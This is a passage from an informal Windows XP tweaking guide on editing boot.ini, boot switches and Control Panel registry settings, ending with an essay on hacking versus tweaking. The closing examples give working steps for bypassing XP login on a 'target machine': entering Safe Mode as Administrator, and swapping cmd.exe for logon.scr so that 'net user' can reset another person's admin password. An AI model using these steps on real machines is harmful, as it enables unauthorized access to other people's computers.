This DWORD value doesn't have to do with logons either, but it's another good one to know. It sets whether to automatically restart the Windows shell if the shell crashes. A value of 1 automatically restarts the shell. A value of 0 tells XP not to restart the shell, forcing you to log off and then back on again to restart it.

## ***39. Customize Multiboot Startup Options***

Edit or create a startup menu that lets you choose which operating system to boot into in multiboot systems, or create a menu that lets you choose different startup options for your single operating system if you have only XP installed.

If you've installed another operating system (in addition to XP) on your system, your PC starts up with a multiboot menu, which allows you to choose the operating system you want to run. The menu stays live for 30 seconds, and a screen countdown tells you how long you have to make a choice from the menu. After the 30 seconds elapse, it boots into your default operating system, which is generally the last operating system you installed.

You can customize that multiboot menu and how your PC starts by editing the *boot.ini* file, a hidden system file, to control a variety of startup options, including how long to display the menu, which operating system should be the default, whether to use the XP splash screen when XP starts, and similar features. And as you'll see later in this hack, you can also use the file to create a startup menu that will allow you

to choose from different versions of your operating system for example, one that you'll use for tracking down startup problems, and another for starting in Safe Mode.

The *boot.ini* file is a plain-text file found in your root *C:\* folder. You might not be able to see it because it's a system file, and if you can see it, you might not be able to edit it because it's a read-only file. To make it visible, launch Windows Explorer, choose View→Tools→Folder Options →View. Select the Show Hidden Files and Folders radio button. To make it a file you can edit, right-click it in Windows Explorer, choose Properties, uncheck the Read-Only box, and click.

To edit the file, open it with a text editor such as Notepad. Following is a typical *boot.ini* file for a PC that has two operating systems installed on it Windows XP Home Edition and Windows 2000 Professional:

```
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP
Home Edition" /fastdetect
multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows 2000 Professional"
/fastdetect
```

As you can see, there are two sections in the file: [bootloader] and [operating systems]. To customize your menu and startup options, edit the entries in each section. Before editing *boot.ini*, make a copy of it and save it under a different name (such as *boot.ini.old*) so that you can revert to it if you cause problems when you edit the file.

Following are details about how to edit the entries in each section:

[boot loader]

This section controls how the boot process works; it specifies the default operating system and how long a user has to make a selection from a boot menu, if a boot menu has been enabled. The `timeout` value specifies, in seconds, how long to display the menu and wait for a selection before loading the default operating system. If you want a delay of 15 seconds, for example, enter 15 for the value. Use a value of 0 if you want the default operating

system to boot immediately. If you want the menu to be displayed indefinitely and stay on-screen until a selection is made, use a value of -1. The `default` value specifies which entry in the `[operating system]` section is the default operating system. (The `default` value is used even if there is only one operating system in the `[operating system]` section.) To change the default operating system, edit the setting, in our example, to `default=multi(0)disk(0)rdisk(0)partition(2)\WINNT`.

So, in our example, if you change the menu settings so that the screen appears for 10 seconds before loading the default operating system, and the default operating system is Windows 2000 Professional, the section reads:

```
[boot loader]
timeout=10
default=multi(0)disk(0)rdisk(0)partition(2)\WINNT
```

#### [operating system]

This section specifies which operating systems are present on the computer, and detailed options for each one. XP uses the Advanced RISC Computing (ARC) path to specify the location of the boot partition. In our example, the ARC path is:

```
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
```

The first parameter, which identifies the disk controller, should be 0. The second parameter, the `disk` parameter, should also be 0. The `rdisk` parameter specifies the disk number on the controller that has the boot partition. The numbers start at 0. So, if you have three hard disks installed and the second hard disk has the boot partition, the setting is `rdisk(1)`. The `partition` parameter identifies the partition number of the boot partition. Partitions start with the number 1. The final section, which in our example is `\WINDOWS`, specifies the path to the folder where the operating system is installed.

To the right of the ARC path in the example is `"Microsoft Windows XP Home Edition" /fastdetect`. The words within quotes are what will appear on the boot menu next to the entry. To customize the text on the menu you can change these words to whatever you wish for example, "My Favorite Operating System." The `/fastdetect` switch disables the detection of serial and parallel devices, which allows for faster booting. The detection of these devices isn't normally required in XP because the functions are performed by Plug and Play drivers, so as a general rule it's a good idea to use the `/fastdetect` switch. The `/fastdetect` switch is only one of many switches that you can use in the `boot.ini` file to customize how the operating system loads.

<b>Switches for boot.ini</b>	
<b>Switch</b>	<b>What it does</b>
<code>/BASEVIDEO</code>	Starts XP using the standard VGA driver. It's most useful if you can't boot normally because of a video driver problem.
<code>/BOOTLOG</code>	Logs information about the boot process to the <code>ntbtlog.txt</code> file in the <code>C:\Windows</code> folder.
<code>/CRASHDEBUG</code>	Loads the debugger at boot, but the debugger remains inactive unless a crash occurs.
<code>/DEBUG</code>	Loads the debugger at boot and runs it.
<code>/F*DETECT</code>	Disables the detection of serial and parallel devices.
<code>MAXMEM:n</code>	Specifies the maximum amount of RAM that XP can use.
<code>/NOGUIBOOT</code>	Does not allow the XP splash screen to load during boot.
<code>/NODEBUG</code>	Stops the debugger from loading.
<code>/SAFEBOOT:switch</code>	Forces XP to boot into the safe mode specified by the <i>switch</i> parameter, which can be <code>minimal</code> , <code>network</code> , or <code>minimal(alternate shell)</code> . In <code>minimal</code> safe mode, only the minimum set of drivers necessary to start XP are loaded. In <code>network</code> safe mode, networking drivers are loaded in addition to the minimum set of drivers. In <code>minimal(alternate shell)</code> the minimum set of drivers are loaded and XP boots into the command prompt.
<code>/SOS</code>	Displays the name of each driver as it loads and gives descriptions of what is occurring during the boot process. It also offers other information, including the XP build number, the service pack number, the number of processors on the system, and the amount of installed memory.

When you've finished editing the *boot.ini* file, save it. The next time you start your computer, its settings will go into effect.

In our example, if we want the menu to appear for 45 seconds, the default operating system to be Windows 2000, and the XP splash screen to be turned off when we choose to load XP, the *boot.ini* file should look like this:

```
[boot loader]
timeout=45
default=multi(0)disk(0)rdisk(0)partition(2)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP
Home
Edition" /fastdetect /noguiboot
multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows 2000 Professional"
/fastdetect
```

## ***Bonus Tip: Create a Startup Menu Even If You Have Only One OS***

Even if you have only one operating system, you can create a boot menu that will let you choose to load your operating system with different parameters.

```
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Trace Problems XP Home Edition"
/fastdetect /bootlog /sos
```

This entry creates a startup log and displays information about the drivers and other operating system information as it loads.

For the version of the operating system that loads in Safe Mode but that still allows networking, you could create this entry:

```
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Safe Start XP Home Edition" /
fastdetect /safeboot:network
```

The *boot.ini* file would look like this, assuming that you want the menu to display for 30 seconds and you want normal XP startup to be the default:

```
[boot loader]
```

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home Edition" /fastdetect

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Trace Problems XP Home Edition" /fastdetect /bootlog /sos

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Safe Start XP Home Edition" /fastdetect /safeboot:network

## ***40. Control Panel: Hide Unused Applets with the Registry***

To hide unused applets using the Registry, run the Registry Editor and go to

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\don't load.
```

The key, as its name implies, determines which Control Panel applet icons are not loaded into the Control Panel. You'll still be able to run those applets from the command line after you hide them; you just won't be able to see their icons in the Control Panel.

To hide an applet, create a new `String` value whose name is the filename of the applet you want to hide. For example, to hide the Mouse Control dialog box, the `String` value would be *main.cpl*.

<b><i>Control Panel applets and their filenames</i></b>	
<b>Applet</b>	<b>Filename</b>
System Properties	<i>sysdm.cpl</i>
Display Properties	<i>desk.cpl</i>
Network Connections	<i>ncpa.cpl</i>
Accessibility Options	<i>access.cpl</i>

<b>Control Panel applets and their filenames</b>	
<b>Applet</b>	<b>Filename</b>
Add or Remove Programs	<i>appwiz.cpl</i>
Add Hardware Wizard	<i>hdwwiz.cpl</i>
Internet Properties	<i>Inetcpl.cpl</i>
Region and Language Options	<i>intl.cpl</i>
Game Controllers	<i>joy.cpl</i>
Mouse Properties	<i>main.cpl</i>
Sound and Audio Devices	<i>mmsys.cpl</i>
User Accounts	<i>nusrmgr.cpl</i>
ODBC Data Source Administrator	<i>odbc32.cpl</i>
Power Options Properties	<i>Powercfg.cpl</i>
Phone and Modem Options	<i>telephon.cpl</i>
Time and Date Properties	<i>timedate.cpl</i>
Speech Properties	<i>sapi.cpl</i>

Create separate `String` values for each applet you want to hide, then edit the Registry. The applets will vanish from the Control Panel. To make a hidden applet appear again, delete its string value from this same registry key.

## ***41. Recategorize Control Panel Applets***

You can also recategorize applets and put them in any category you want. For example, by default, the Mouse Properties applet can be found in the Printers and Other Hardware category, but if you prefer that it instead be found in Accessibility Options, you can move it there.

To put an applet into any category you want, you need two pieces of information: the filename of the applet (for example, *main.cpl* for the Mouse Properties dialog box), and the Registry value for each Control Panel category (for example, `0x00000007` (7) for Accessibility Options)



<b>Control Panel categories and their Registry value data</b>	
<b>Control panel category</b>	<b>Value data</b>
Accessibility Options	0x00000007 (7)
Add or Remove Programs	0x00000008 (8)
Appearance and Themes	0x00000001 (1)
Date, Time, Language, and Regional Options	0x00000006 (6)
Network and Internet Connections	0x00000003 (3)
Other Control Panel Options	0x00000000 (0)
Performance and Maintenance	0x00000005 (5)
Printers and Other Hardware	0x00000002 (2)
Sounds, Speech, and Audio Devices	0x00000004 (4)
User Accounts	0x00000009 (9)
No category	0xffffffff

To recategorize a Control Panel applet, run the Registry Editor and go to `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Extended Properties\{305CA226-D286-468e-B848-2B2E8E697B74}2`. The key `{305CA226-D286-468e-B848-2B2E8E697B74}2` is the container that holds all Control Panel categories.

Now find the Registry key of the applet you want to recategorize. The filename of the applet will appear on the end of the key; for example, `%SystemRoot%\system32\main.cpl` is the Mouse Properties dialog box. Change the key's `DWORD` value to the value of the Control Panel category into which you want the applet to appear. For example, if you want the applet to appear in the Performance and Maintenance category, give it a value of 5. The value will then be displayed in the Registry as `0x00000005 (5)`.

When you're done, exit the Registry. The applet will now appear in the new category..

***42. Is it a hack by any means...??***

**Defenitely Not!** What we have discussed so far are not hacks by any means. They are just ‘tweaks’. Tweaking is done to customize the system according to user preferences by over riding the default settings. Tweaking will improve the system performance by many folds, provided that it is done in the right way. Most of the tweaks and tricks are performed in the following 3 areas.

1.Start → Run → Regedit

2. Start → Run→Msconfig

3. Start → Run→gpedit.msc

It is difficult for a newbie to understand the various keys and sub-keys in the registry and a wrong move can have catastrophic effects. The second one is way too simple and the options are limited. So I recommend the third area ☺. Group Policy Editor or gpedit.msc is a nice place for the newbies to learn and try their own tricks. The main advantage is its simplicity. Just click on the + signs to dive deep into it. Explanations are given along with each entry. Read the explanation and decide on the settings that needs to be set. Nothing much, you just need to enable or disable a setting. Isn't it a simple thing to do?? And trust me, it can even create wonders!! So go ahead and try it now itself. Good luck.

## ***43. What the heck is a hack then..??***

Hacking is done to expose a security hole in a system. Hacking is done to expose the holes in the armor so that system designers can patch it in their next release. Hacking if done with a malicious mind, then its cracking! Crackers are basically hackers with a malicious mind. They exploit the security holes to gain unauthorized access to a system. They often steal data like the credit card information from the victim's computer and read their mails. Some crackers go beyond and often engage in destructive actions like creating viruses and worms. So the next time when you say hacker/cracker, understand what they are. Hackers don't like being greeted as crackers for the same reason that hackers are friendly and nice people.

I'm giving you two examples below to understand how hacking differs from tweaking:

## Eg1: Hack the XP Admin Passwords

When you or anyone installs Windows XP for the first time you are asked to put in your username and up to five others. Now, unknownst to a lot of other people this is the only place in Windows XP that you can password the default Administrator Diagnostic Account. This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account. This only works if the user on setup specified a password for the Administrator Account.

## Eg2:Hack XP Password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly. Forget about the explanations as it is for the sake of clarity purpose

Command	Expalnation
cd\	*drops to root
cd\windows\system32	*directs to the system32 dir
mkdir temphack	*creates the folder temphack
copy logon.scr temphack\logon.scr	*backsup logon.scr
copy cmd.exe temphack\cmd.exe	*backsup cmd.exe
del logon.scr	*deletes original logon.scr
rename cmd.exe logon.scr	*renames cmd.exe to logon.scr
exit	*quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this

happens if you enter this command minus the quotes "net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and you should be in.

## *Conclusion*

Well, my conclusion is that there will be no conclusion to this. As long as hacker communities are here, there is going to be more and more to witness, enjoy and learn.

Happy Hacking.. Oops, tweaking!

**SPECIAL THANKS:: CORE (CHALLENGE OF REVERSE ENGINEERING) AND PHROZEN CREW. You guys rock!!**